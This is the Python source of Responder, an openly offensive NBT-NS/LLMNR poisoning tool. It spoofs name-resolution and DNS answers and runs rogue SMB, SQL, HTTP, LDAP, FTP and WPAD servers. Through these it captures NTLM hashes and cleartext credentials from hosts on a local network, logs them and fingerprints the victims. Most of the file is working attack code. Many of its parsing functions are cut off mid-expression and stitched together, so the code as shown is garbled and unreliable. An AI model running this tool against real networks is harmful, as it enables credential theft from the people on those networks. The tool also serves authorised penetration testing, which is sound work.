#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2013 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b 1 -s On -r 0', prog=sys.argv[0], ) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-b', '--basic',action="store", help="Set this to 1 if you want to return a Basic HTTP authentication. 0 will return an NTLM authentication.This option is mandatory.", metavar="0",dest="Basic", choices=['0','1'], default="0") parser.add_option('-s', '--http',action="store", help="Set this to On or Off to start/stop the HTTP server. Default value is On", metavar="Off",dest="on_off", choices=['On','Off'], default="On") parser.add_option('-S', '--smb',action="store", help="Set this to On or Off to start/stop the SMB server. Default value is On", metavar="Off",dest="SMB_on_off", choices=['On','Off'], default="On") parser.add_option('-q', '--sql',action="store", help="Set this to On or Off to start/stop the SQL server. Default value is On", metavar="Off",dest="SQL_on_off", choices=['On','Off'], default="On") parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off (0)", metavar="0",dest="Wredirect", choices=['1','0'], default="0") parser.add_option('-c','--challenge', action="store", dest="optChal", help = "The server challenge to set for NTLM authentication. If not set, then defaults to 1122334455667788, the most common challenge for existing Rainbow Tables", metavar="1122334455667788", default="1122334455667788") parser.add_option('-l','--logfile', action="store", dest="sessionLog", help = "Log file to use for Responder session. ", metavar="Responder-Session.log", default="Responder-Session.log") parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','Off'], default="Off") parser.add_option('-F','--ftp', action="store", dest="FTP_On_Off", help = "Set this to On or Off to start/stop the FTP server. Default value is On", metavar="On", choices=['On','Off'], default="On") parser.add_option('-L','--ldap', action="store", dest="LDAP_On_Off", help = "Set this to On or Off to start/stop the LDAP server. Default value is On", metavar="On", choices=['On','Off'], default="On") parser.add_option('-D','--dns', action="store", dest="DNS_On_Off", help = "Set this to On or Off to start/stop the DNS server. Default value is On", metavar="On", choices=['On','Off'], default="On") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is On", metavar="On", choices=['On','Off'], default="On") options, args = parser.parse_args() if options.OURIP is None: print "-i mandatory option is missing\n" parser.print_help() exit(-1) if len(options.optChal) is not 16: print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" parser.print_help() exit(-1) #Logger import logging logging.basicConfig(filename=str(options.sessionLog),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') logging.warning('Responder Started') # Set some vars. OURIP = options.OURIP Basic = options.Basic On_Off = options.on_off.upper() SMB_On_Off = options.SMB_on_off.upper() SQL_On_Off = options.SQL_on_off.upper() FTP_On_Off = options.FTP_On_Off.upper() LDAP_On_Off = options.LDAP_On_Off.upper() Finger_On_Off = options.Finger.upper() DNS_On_Off = options.DNS_On_Off.upper() WPAD_On_Off = options.WPAD_On_Off.upper() Wredirect = options.Wredirect NumChal = options.optChal def Show_Help(ExtraHelpData): help = "NBT Name Service/LLMNR Answerer 1.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help+= ExtraHelpData print help #Function used to write captured hashs to a file. def WriteData(outfile,data): with open(outfile,"w") as outf: outf.write(data) outf.write("\n") outf.close() # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") Show_Help("[+]NBT-NS & LLMNR responder started\nGlobal Parameters set\nChallenge set is: %s\nWPAD Proxy Server is:%s\nHTTP Server is:%s\nSMB Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\n"%(NumChal,WPAD_On_Off,On_Off,SMB_On_Off,SQL_On_Off,FTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off)) #Simple NBNS Services. W_REDIRECT = "\x41\x41\x00" FILE_SERVER = "\x43\x41\x00" #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == "ON": return True if Finger_On_Off == "OFF": return False ################################################################################## #NBT NS Stuff ################################################################################## #NBT-NS answer packet. class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if FILE_SERVER == data[43:46]: return True if Wredirect == "1": if W_REDIRECT == data[43:46]: return True else: return False # NBT_NS Server class. class NB(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) def handle(self): request, socket = self.request data = request if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) print "NBT-NS Answer sent to: ", self.client_address[0] logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0])) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass ################################################################################## #Browser Listener ################################################################################## def FindPDC(data,Client): DataOffset = struct.unpack(' 220: SSPIStart = data[79:] LMhashLen = struct.unpack(' 220: SSPIStart = data[79:]#LenOfLen set for ASN... LMhashLen = struct.unpack(' 60: print "[+]SMB-NTLMv2 hash captured from : ",client outfile = "SMB-NTLMv2-Client-"+client+".txt" NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class. class SMB1(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) self.socket.setdefaulttimeout(2) def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(2) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": # Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data) head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data)) final = SMBSessEmpty()###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseSMBHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = SMBSession2Accept() final.calculate() packet2 = str(head)+str(final) buffer2 = longueur(packet2)+packet2 self.request.send(buffer2) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) t = SMBTreeData() t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x02\xff\x00\x27\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. ################################################################################## #SQL Stuff ################################################################################## from SQLPackets import * #This function parse SQL NTLMv1/v2 hash and dump it into a specific file. def ParseSQLHash(data,client): SSPIStart = data[8:] LMhashLen = struct.unpack(' 60: print "[+]MSSQL NTLMv2 Hash captured from :",client logging.warning('[+]MsSQL NTLMv2 hash captured from :%s'%(client)) DomainLen = struct.unpack('h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data,addr): NameLen = struct.unpack('>B',data[12])[0] Name = data[13:13+NameLen] print "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) logging.warning('LLMNR poisoned answer sent to this IP: %s. The requested name was : %s.'%(addr[0],Name)) return Name def Parse_IPV6_Addr(data): Len = len(data) if data[Len-4:Len][1] =="\x1c": return False else: return True def RunLLMNR(): ALL = "0.0.0.0" MADDR = "224.0.0.252" MPORT = 5355 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) sock.bind((ALL,MPORT)) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) ## Join IGMP Group. Join = sock.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR) + inet_aton(ALL)) while True: try: data, addr = sock.recvfrom(1024) if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): global Name Name = Parse_LLMNR_Name(data,addr) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): sock.sendto(str(buff), addr) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((addr[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) pass except: raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. return True else: return False #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # DNS Server class. class DNS(SocketServer.BaseRequestHandler): def server_bind(self): self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) self.socket.bind(self.server_address) self.socket.setblocking(0) def handle(self): request, socket = self.request data = request if ParseDNSType(data): buff = DNSAns() buff.calculate(data) socket.sendto(str(buff), self.client_address) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) ################################################################################## #HTTP Stuff ################################################################################## from HTTPPackets import * #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: print "[+]HTTP NTLMv2 hash captured from :",client logging.warning('[+]HTTP NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 10: LMhashOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('